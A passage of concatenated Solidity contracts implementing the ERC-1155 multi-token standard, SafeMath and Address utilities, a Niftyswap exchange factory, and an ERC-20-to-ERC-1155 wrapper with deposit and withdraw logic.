_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
/**
* @title ERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas
* @param _interfaceId The interface identifier, as specified in ERC-165
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import './IERC165.sol';
interface IERC1155 is IERC165 {
/****************************************|
| Events |
|_______________________________________*/
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of a token ID with no initial balance, the contract SHOULD emit the TransferSingle event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferSingle(address indexed _operator, address indexed _from, address indexed _to, uint256 _id, uint256 _amount);
/**
* @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred, including zero amount transfers as well as minting or burning
* Operator MUST be msg.sender
* When minting/creating tokens, the `_from` field MUST be set to `0x0`
* When burning/destroying tokens, the `_to` field MUST be set to `0x0`
* The total amount transferred from address 0x0 minus the total amount transferred to 0x0 may be used by clients and exchanges to be added to the "circulating supply" for a given token ID
* To broadcast the existence of multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event from `0x0` to `0x0`, with the token creator as `_operator`, and a `_amount` of 0
*/
event TransferBatch(address indexed _operator, address indexed _from, address indexed _to, uint256[] _ids, uint256[] _amounts);
/**
* @dev MUST emit when an approval is updated
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/****************************************|
| Functions |
|_______________________________________*/
/**
* @notice Transfers amount of an _id from the _from address to the _to address specified
* @dev MUST emit TransferSingle event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if balance of sender for token `_id` is lower than the `_amount` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155Received` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external;
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @dev MUST emit TransferBatch event on success
* Caller must be approved to manage the _from account's tokens (see isApprovedForAll)
* MUST throw if `_to` is the zero address
* MUST throw if length of `_ids` is not the same as length of `_amounts`
* MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_amounts` sent
* MUST throw on any other error
* When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0). If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return amount is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* Transfers and events MUST occur in the array order they were submitted (_ids[0] before _ids[1], etc)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external;
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @dev MUST emit the ApprovalForAll event on success
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved) external;
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return isOperator True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool isOperator);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
/**
* @dev ERC-1155 interface for accepting safe transfers.
*/
interface IERC1155TokenReceiver {
/**
* @notice Handle the receipt of a single ERC1155 token type
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeTransferFrom` after the balance has been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value MUST result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeTransferFrom` function
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _amount The amount of tokens being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4);
/**
* @notice Handle the receipt of multiple ERC1155 token types
* @dev An ERC1155-compliant smart contract MUST call this function on the token recipient contract, at the end of a `safeBatchTransferFrom` after the balances have been updated
* This function MAY throw to revert and reject the transfer
* Return of other amount than the magic value WILL result in the transaction being reverted
* Note: The token contract address is always the message sender
* @param _operator The address which called the `safeBatchTransferFrom` function
* @param _from The address which previously owned the token
* @param _ids An array containing ids of each token being transferred
* @param _amounts An array containing amounts of each token being transferred
* @param _data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "./ERC1155.sol";
/**
* @dev Multi-Fungible Tokens with minting and burning methods. These methods assume
* a parent contract to be executed as they are `internal` functions
*/
contract ERC1155MintBurn is ERC1155 {
using SafeMath for uint256;
/****************************************|
| Minting Functions |
|_______________________________________*/
/**
* @notice Mint _amount of tokens of a given id
* @param _to The address to mint tokens to
* @param _id Token id to mint
* @param _amount The amount to be minted
* @param _data Data to pass if receiver is contract
*/
function _mint(address _to, uint256 _id, uint256 _amount, bytes memory _data)
internal
{
// Add _amount
balances[_to][_id] = balances[_to][_id].add(_amount);
// Emit event
emit TransferSingle(msg.sender, address(0x0), _to, _id, _amount);
// Calling onReceive method if recipient is contract
_callonERC1155Received(address(0x0), _to, _id, _amount, gasleft(), _data);
}
/**
* @notice Mint tokens for each ids in _ids
* @param _to The address to mint tokens to
* @param _ids Array of ids to mint
* @param _amounts Array of amount of tokens to mint per id
* @param _data Data to pass if receiver is contract
*/
function _batchMint(address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
internal
{
require(_ids.length == _amounts.length, "ERC1155MintBurn#batchMint: INVALID_ARRAYS_LENGTH");
// Number of mints to execute
uint256 nMint = _ids.length;
// Executing all minting
for (uint256 i = 0; i < nMint; i++) {
// Update storage balance
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, address(0x0), _to, _ids, _amounts);
// Calling onReceive method if recipient is contract
_callonERC1155BatchReceived(address(0x0), _to, _ids, _amounts, gasleft(), _data);
}
/****************************************|
| Burning Functions |
|_______________________________________*/
/**
* @notice Burn _amount of tokens of a given token id
* @param _from The address to burn tokens from
* @param _id Token id to burn
* @param _amount The amount to be burned
*/
function _burn(address _from, uint256 _id, uint256 _amount)
internal
{
//Substract _amount
balances[_from][_id] = balances[_from][_id].sub(_amount);
// Emit event
emit TransferSingle(msg.sender, _from, address(0x0), _id, _amount);
}
/**
* @notice Burn tokens of given token id for each (_ids[i], _amounts[i]) pair
* @param _from The address to burn tokens from
* @param _ids Array of token ids to burn
* @param _amounts Array of the amount to be burned
*/
function _batchBurn(address _from, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
// Number of mints to execute
uint256 nBurn = _ids.length;
require(nBurn == _amounts.length, "ERC1155MintBurn#batchBurn: INVALID_ARRAYS_LENGTH");
// Executing all minting
for (uint256 i = 0; i < nBurn; i++) {
// Update storage balance
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
}
// Emit batch mint event
emit TransferBatch(msg.sender, _from, address(0x0), _ids, _amounts);
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "../../utils/SafeMath.sol";
import "../../interfaces/IERC1155TokenReceiver.sol";
import "../../interfaces/IERC1155.sol";
import "../../utils/Address.sol";
import "../../utils/ERC165.sol";
/**
* @dev Implementation of Multi-Token Standard contract
*/
contract ERC1155 is IERC1155, ERC165 {
using SafeMath for uint256;
using Address for address;
/***********************************|
| Variables and Events |
|__________________________________*/
// onReceive function signatures
bytes4 constant internal ERC1155_RECEIVED_VALUE = 0xf23a6e61;
bytes4 constant internal ERC1155_BATCH_RECEIVED_VALUE = 0xbc197c81;
// Objects balances
mapping (address => mapping(uint256 => uint256)) internal balances;
// Operator Functions
mapping (address => mapping(address => bool)) internal operators;
/***********************************|
| Public Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes memory _data)
public override
{
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeTransferFrom: INVALID_OPERATOR");
require(_to != address(0),"ERC1155#safeTransferFrom: INVALID_RECIPIENT");
// require(_amount <= balances[_from][_id]) is not necessary since checked with safemath operations
_safeTransferFrom(_from, _to, _id, _amount);
_callonERC1155Received(_from, _to, _id, _amount, gasleft(), _data);
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
* @param _data Additional data with no specified format, sent in call to `_to`
*/
function safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, bytes memory _data)
public override
{
// Requirements
require((msg.sender == _from) || isApprovedForAll(_from, msg.sender), "ERC1155#safeBatchTransferFrom: INVALID_OPERATOR");
require(_to != address(0), "ERC1155#safeBatchTransferFrom: INVALID_RECIPIENT");
_safeBatchTransferFrom(_from, _to, _ids, _amounts);
_callonERC1155BatchReceived(_from, _to, _ids, _amounts, gasleft(), _data);
}
/***********************************|
| Internal Transfer Functions |
|__________________________________*/
/**
* @notice Transfers amount amount of an _id from the _from address to the _to address specified
* @param _from Source address
* @param _to Target address
* @param _id ID of the token type
* @param _amount Transfered amount
*/
function _safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount)
internal
{
// Update balances
balances[_from][_id] = balances[_from][_id].sub(_amount); // Subtract amount
balances[_to][_id] = balances[_to][_id].add(_amount); // Add amount
// Emit event
emit TransferSingle(msg.sender, _from, _to, _id, _amount);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155Received(...)
*/
function _callonERC1155Received(address _from, address _to, uint256 _id, uint256 _amount, uint256 _gasLimit, bytes memory _data)
internal
{
// Check if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155Received{gas: _gasLimit}(msg.sender, _from, _id, _amount, _data);
require(retval == ERC1155_RECEIVED_VALUE, "ERC1155#_callonERC1155Received: INVALID_ON_RECEIVE_MESSAGE");
}
}
/**
* @notice Send multiple types of Tokens from the _from address to the _to address (with safety call)
* @param _from Source addresses
* @param _to Target addresses
* @param _ids IDs of each token type
* @param _amounts Transfer amounts per token type
*/
function _safeBatchTransferFrom(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts)
internal
{
require(_ids.length == _amounts.length, "ERC1155#_safeBatchTransferFrom: INVALID_ARRAYS_LENGTH");
// Number of transfer to execute
uint256 nTransfer = _ids.length;
// Executing all transfers
for (uint256 i = 0; i < nTransfer; i++) {
// Update storage balance of previous bin
balances[_from][_ids[i]] = balances[_from][_ids[i]].sub(_amounts[i]);
balances[_to][_ids[i]] = balances[_to][_ids[i]].add(_amounts[i]);
}
// Emit event
emit TransferBatch(msg.sender, _from, _to, _ids, _amounts);
}
/**
* @notice Verifies if receiver is contract and if so, calls (_to).onERC1155BatchReceived(...)
*/
function _callonERC1155BatchReceived(address _from, address _to, uint256[] memory _ids, uint256[] memory _amounts, uint256 _gasLimit, bytes memory _data)
internal
{
// Pass data if recipient is contract
if (_to.isContract()) {
bytes4 retval = IERC1155TokenReceiver(_to).onERC1155BatchReceived{gas: _gasLimit}(msg.sender, _from, _ids, _amounts, _data);
require(retval == ERC1155_BATCH_RECEIVED_VALUE, "ERC1155#_callonERC1155BatchReceived: INVALID_ON_RECEIVE_MESSAGE");
}
}
/***********************************|
| Operator Functions |
|__________________________________*/
/**
* @notice Enable or disable approval for a third party ("operator") to manage all of caller's tokens
* @param _operator Address to add to the set of authorized operators
* @param _approved True if the operator is approved, false to revoke approval
*/
function setApprovalForAll(address _operator, bool _approved)
external override
{
// Update operator status
operators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @notice Queries the approval status of an operator for a given owner
* @param _owner The owner of the Tokens
* @param _operator Address of authorized operator
* @return isOperator True if the operator is approved, false if not
*/
function isApprovedForAll(address _owner, address _operator)
public override view returns (bool isOperator)
{
return operators[_owner][_operator];
}
/***********************************|
| Balance Functions |
|__________________________________*/
/**
* @notice Get the balance of an account's Tokens
* @param _owner The address of the token holder
* @param _id ID of the Token
* @return The _owner's balance of the Token type requested
*/
function balanceOf(address _owner, uint256 _id)
public override view returns (uint256)
{
return balances[_owner][_id];
}
/**
* @notice Get the balance of multiple account/token pairs
* @param _owners The addresses of the token holders
* @param _ids ID of the Tokens
* @return The _owner's balance of the Token types requested (i.e. balance for each (owner, id) pair)
*/
function balanceOfBatch(address[] memory _owners, uint256[] memory _ids)
public override view returns (uint256[] memory)
{
require(_owners.length == _ids.length, "ERC1155#balanceOfBatch: INVALID_ARRAY_LENGTH");
// Variables
uint256[] memory batchBalances = new uint256[](_owners.length);
// Iterate over each owner and token ID
for (uint256 i = 0; i < _owners.length; i++) {
batchBalances[i] = balances[_owners[i]][_ids[i]];
}
return batchBalances;
}
/***********************************|
| ERC165 Functions |
|__________________________________*/
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID` and
*/
function supportsInterface(bytes4 _interfaceID) public override(ERC165, IERC165) virtual pure returns (bool) {
if (_interfaceID == type(IERC1155).interfaceId) {
return true;
}
return super.supportsInterface(_interfaceID);
}
}
pragma solidity 0.7.4;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
pragma solidity 0.7.4;
/**
* Utility library of inline functions on addresses
*/
library Address {
// Default hash for EOA accounts returned by extcodehash
bytes32 constant internal ACCOUNT_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract.
* @param _address address of the account to check
* @return Whether the target address is a contract
*/
function isContract(address _address) internal view returns (bool) {
bytes32 codehash;
// Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address or if it has a non-zero code hash or account hash
assembly { codehash := extcodehash(_address) }
return (codehash != 0x0 && codehash != ACCOUNT_HASH);
}
}
pragma solidity 0.7.4;
import "../interfaces/IERC165.sol";
abstract contract ERC165 is IERC165 {
/**
* @notice Query if a contract implements an interface
* @param _interfaceID The interface identifier, as specified in ERC-165
* @return `true` if the contract implements `_interfaceID`
*/
function supportsInterface(bytes4 _interfaceID) virtual override public pure returns (bool) {
return _interfaceID == this.supportsInterface.selector;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
import "./NiftyswapExchange.sol";
import "../interfaces/INiftyswapFactory.sol";
contract NiftyswapFactory is INiftyswapFactory {
/***********************************|
| Events And Variables |
|__________________________________*/
// tokensToExchange[erc1155_token_address][currency_address][currency_token_id]
mapping(address => mapping(address => mapping(uint256 => address))) public override tokensToExchange;
/***********************************|
| Functions |
|__________________________________*/
/**
* @notice Creates a NiftySwap Exchange for given token contract
* @param _token The address of the ERC-1155 token contract
* @param _currency The address of the currency token contract
* @param _currencyID The id of the currency token
*/
function createExchange(address _token, address _currency, uint256 _currencyID) public override {
require(tokensToExchange[_token][_currency][_currencyID] == address(0x0), "NiftyswapFactory#createExchange: EXCHANGE_ALREADY_CREATED");
// Create new exchange contract
NiftyswapExchange exchange = new NiftyswapExchange(_token, _currency, _currencyID);
// Store exchange and token addresses
tokensToExchange[_token][_currency][_currencyID] = address(exchange);
// Emit event
emit NewExchange(_token, _currency, _currencyID, address(exchange));
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
interface INiftyswapFactory {
/***********************************|
| Events |
|__________________________________*/
event NewExchange(address indexed token, address indexed currency, uint256 indexed currencyID, address exchange);
/***********************************|
| Public Functions |
|__________________________________*/
/**
* @notice Creates a NiftySwap Exchange for given token contract
* @param _token The address of the ERC-1155 token contract
* @param _currency The address of the currency token contract
* @param _currencyID The id of the currency token
*/
function createExchange(address _token, address _currency, uint256 _currencyID) external;
/**
* @notice Return address of exchange for corresponding ERC-1155 token contract
* @param _token The address of the ERC-1155 token contract
* @param _currency The address of the currency token contract
* @param _currencyID The id of the currency token
*/
function tokensToExchange(address _token, address _currency, uint256 _currencyID) external view returns (address);
}
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "@0xsequence/erc-1155/contracts/interfaces/IERC20.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC165.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155.sol";
import "@0xsequence/erc-1155/contracts/interfaces/IERC1155TokenReceiver.sol";
import "@0xsequence/erc-1155/contracts/tokens/ERC1155/ERC1155Meta.sol";
import "@0xsequence/erc-1155/contracts/tokens/ERC1155/ERC1155MintBurn.sol";
/**
* @notice Allows users to wrap any amount of any ERC-20 token with a 1:1 ratio
* of corresponding ERC-1155 tokens with native metaTransaction methods. Each
* ERC-20 is assigned an ERC-1155 id for more efficient CALLDATA usage when
* doing transfers.
*/
contract MetaERC20Wrapper is ERC1155Meta, ERC1155MintBurn {
// Variables
uint256 internal nTokens = 1; // Number of ERC-20 tokens registered
uint256 constant internal ETH_ID = 0x1; // ID fo tokens representing Ether is 1
address constant internal ETH_ADDRESS = address(0x1); // Address for tokens representing Ether is 0x00...01
mapping (address => uint256) internal addressToID; // Maps the ERC-20 addresses to their metaERC20 id
mapping (uint256 => address) internal IDtoAddress; // Maps the metaERC20 ids to their ERC-20 address
/***********************************|
| Events |
|__________________________________*/
event TokenRegistration(address token_address, uint256 token_id);
/***********************************|
| Constructor |
|__________________________________*/
// Register ETH as ID #1 and address 0x1
constructor() public {
addressToID[ETH_ADDRESS] = ETH_ID;
IDtoAddress[ETH_ID] = ETH_ADDRESS;
}
/***********************************|
| Deposit Functions |
|__________________________________*/
/**
* Fallback function
* @dev Deposit ETH in this contract to receive wrapped ETH
* No parameters provided
*/
receive () external payable {
// Deposit ETH sent with transaction
deposit(ETH_ADDRESS, msg.sender, msg.value);
}
/**
* @dev Deposit ERC20 tokens or ETH in this contract to receive wrapped ERC20s
* @param _token The addess of the token to deposit in this contract
* @param _recipient Address that will receive the ERC-1155 tokens
* @param _value The amount of token to deposit in this contract
* Note: Users must first approve this contract addres on the contract of the ERC20 to be deposited
*/
function deposit(address _token, address _recipient, uint256 _value)
public payable
{
require(_recipient != address(0x0), "MetaERC20Wrapper#deposit: INVALID_RECIPIENT");
// Internal ID of ERC-20 token deposited
uint256 id;
// Deposit ERC-20 tokens or ETH
if (_token != ETH_ADDRESS) {
// Check if transfer passes
require(msg.value == 0, "MetaERC20Wrapper#deposit: NON_NULL_MSG_VALUE");
IERC20(_token).transferFrom(msg.sender, address(this), _value);
require(checkSuccess(), "MetaERC20Wrapper#deposit: TRANSFER_FAILED");
// Load address token ID
uint256 addressId = addressToID[_token];
// Register ID if not already done
if (addressId == 0) {
nTokens += 1; // Increment number of tokens registered
id = nTokens; // id of token is the current # of tokens
IDtoAddress[id] = _token; // Map id to token address
addressToID[_token] = id; // Register token
// Emit registration event
emit TokenRegistration(_token, id);
} else {
id = addressId;
}
} else {
require(_value == msg.value, "MetaERC20Wrapper#deposit: INCORRECT_MSG_VALUE");
id = ETH_ID;
}
// Mint meta tokens
_mint(_recipient, id, _value, "");
}
/***********************************|
| Withdraw Functions |
|__________________________________*/
/**
* @dev Withdraw wrapped ERC20 tokens in this contract to receive the original ERC20s or ETH
* @param _token The addess of the token to withdrww from this contract
* @param _to The address where the withdrawn tokens will go to
* @param _value The amount of tokens to withdraw
*/
function withdraw(address _token, address payable _to, uint256 _value) public {
uint256 tokenID = getTokenID(_token);
_withdraw(msg.sender, _to, tokenID, _value);
}
/**
* @dev Withdraw wrapped ERC20 tokens in this contract to receive the original ERC20s or ETH
* @param _from Address of users sending the Meta tokens
* @param _to The address where the withdrawn tokens will go to
* @param _tokenID The token ID of the ERC-20 token to withdraw from this contract
* @param _value The amount of tokens to withdraw
*/
function _withdraw(
address _from,
address payable _to,
uint256 _tokenID,
uint256 _value)
internal
{
// Burn meta tokens
_burn(_from, _tokenID, _value);
// Withdraw ERC-20 tokens or ETH
if (_tokenID != ETH_ID) {
address token = IDtoAddress[_tokenID];
IERC20(token).transfer(_to, _value);
require(checkSuccess(), "MetaERC20Wrapper#withdraw: TRANSFER_FAILED");
} else {
require(_to != address(0), "MetaERC20Wrapper#withdraw: INVALID_RECIPIENT");
(bool success, ) = _to.call{value: _value}("");
require(success, "MetaERC20Wrapper#withdraw: TRANSFER_FAILED");
}
}
/**
* @notice Withdraw ERC-20 tokens when receiving their ERC-1155 counterpart
* @param _from The address which previously owned the token
* @param _id The id of the token being transferred
* @param _value The amount of tokens being transferred
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
*/
function onERC1155Received(address, address payable _from, uint256 _id, uint256 _value, bytes memory)
public returns(bytes4)
{
// Only ERC-1155 from this contract are valid
require(msg.sender == address(this), "MetaERC20Wrapper#onERC1155Received: INVALID_ERC1155_RECEIVED");
getIdAddress(_id); // Checks if id is registered
// Tokens are received, hence need to burn them here
_withdraw(address(this), _from, _id, _value);
return ERC1155_RECEIVED_VALUE;
}
/**
* @notice Withdraw ERC-20 tokens when receiving their ERC-1155 counterpart
* @param _from The address which previously owned the token
* @param _ids An array containing ids of each token being transferred
* @param _values An array containing amounts of each token being transferred
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
*/
function onERC1155BatchReceived(address, address payable _from, uint256[] memory _ids, uint256[] memory _values, bytes memory)
public returns(bytes4)
{
// Only ERC-1155 from this contract are valid
require(msg.sender == address(this), "MetaERC20Wrapper#onERC1155BatchReceived: INVALID_ERC1155_RECEIVED");
// Withdraw all tokens
for ( uint256 i = 0; i < _ids.length; i++) {
// Checks if id is registered
getIdAddress(_ids[i]);
// Tokens are received, hence need to burn them here
_withdraw(address(this), _from, _ids[i], _values[i]);
}
return ERC1155_BATCH_RECEIVED_VALUE;
}
/**
* @notice Return the Meta-ERC20 token ID for the given ERC-20 token address
* @param _token ERC-20 token address to get the corresponding Meta-ERC20 token ID
* @return tokenID Meta-ERC20 token ID
*/
function getTokenID(address _token) public view returns (uint256 tokenID) {
tokenID = addressToID[_token];
require(tokenID != 0, "MetaERC20Wrapper#getTokenID: UNREGISTERED_TOKEN");
return tokenID;
}
/**
* @notice Return the ERC-20 token address for the given Meta-ERC20 token ID
* @param _id Meta-ERC20 token ID to get the corresponding ERC-20 token address
* @return token ERC-20 token address
*/
function getIdAddress(uint256 _id) public view returns (address token) {
token = IDtoAddress[_id];
require(token != address(0x0), "MetaERC20Wrapper#getIdAddress: UNREGISTERED_TOKEN");
return token;
}
/**
* @notice Returns number of tokens currently registered
*/
function getNTokens() external view returns (uint256) {
return nTokens;
}
/***********************************|
| Helper Functions |
|__________________________________*/
/**
* Checks the return value of the previous function up to 32 bytes. Returns true if the previous
* function returned 0 bytes or 32 bytes that are not all-zero.
* Code taken from: https://github.com/dydxprotocol/solo/blob/10baf8e4c3fb9db4d0919043d3e6fdd6ba834046/contracts/protocol/lib/Token.sol
*/
function checkSuccess()
private pure
returns (bool)
{
uint256 returnValue = 0;
/* solium-disable-next-line security/no-inline-assembly */
assembly {
// check number of bytes returned from last function call
switch returndatasize()
// no bytes returned: assume success
case 0x0 {
returnValue := 1
}
// 32 bytes returned: check if non-zero
case 0x20 {
// copy 32 bytes into scratch space
returndatacopy(0x0, 0x0, 0x20)
// load those bytes into returnValue
returnValue := mload(0x0)
}
// not sure what was returned: dont mark as success
default { }
}
return returnValue != 0;
}
/**
* @notice Indicates whether a contract implements the `ERC1155TokenReceiver` functions and so can accept ERC1155 token types.
* @param interfaceID The ERC-165 interface ID that is queried for support.s
* @dev This function MUST return true if it implements the ERC1155TokenReceiver interface and ERC-165 interface.
* This function MUST NOT consume more than 5,000 gas.
* @return Wheter ERC-165 or ERC1155TokenReceiver interfaces are supported.
*/
function supportsInterface(bytes4 interfaceID) public override pure returns (bool) {
return interfaceID == type(IERC165).interfaceId ||
interfaceID == type(IERC1155).interfaceId ||
interfaceID == type(IERC1155TokenReceiver).interfaceId;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.7.4;
pragma experimental ABIEncoderV2;
import "./ERC1155.sol";
import "../../interfaces/IERC20.sol";
import "../../interfaces/IERC1155.sol";
import "../../utils/LibBytes.sol";
import "../../utils/SignatureValidator.sol";
/**
* @dev ERC-1155 with native metatransaction methods. These additional functions allow users
* to presign function calls and allow third parties to execute these on their behalf
*/
contract ERC1155Meta is ERC1155, SignatureValidator {
using LibBytes for bytes;
/***********************************|
| Variables and Structs |
|__________________________________*/
/**
* Gas Receipt
* feeTokenData : (bool, address, ?unit256)
* 1st element should be the address of the token
* 2nd argument (if ERC-1155) should be the ID of the token
* Last element should be a 0x0 if ERC-20 and 0x1 for ERC-1155
*/
struct GasReceipt {
uint256 gasFee; // Fixed cost for the tx
uint256 gasLimitCallback; // Maximum amount of gas the callback in transfer functions can use
address feeRecipient; // Address to send payment to
bytes feeTokenData; // Data for token to pay for gas
}
// Which token standard is used to pay gas fee
enum FeeTokenType {
ERC1155, // 0x00, ERC-1155 token - DEFAULT
ERC20, // 0x01, ERC-20 token
NTypes // 0x02, number of signature types. Always leave at end.
}
// Signature nonce per address
mapping (address => uint256) internal nonces;
/***********************************|
| Events |
|__________________________________*/
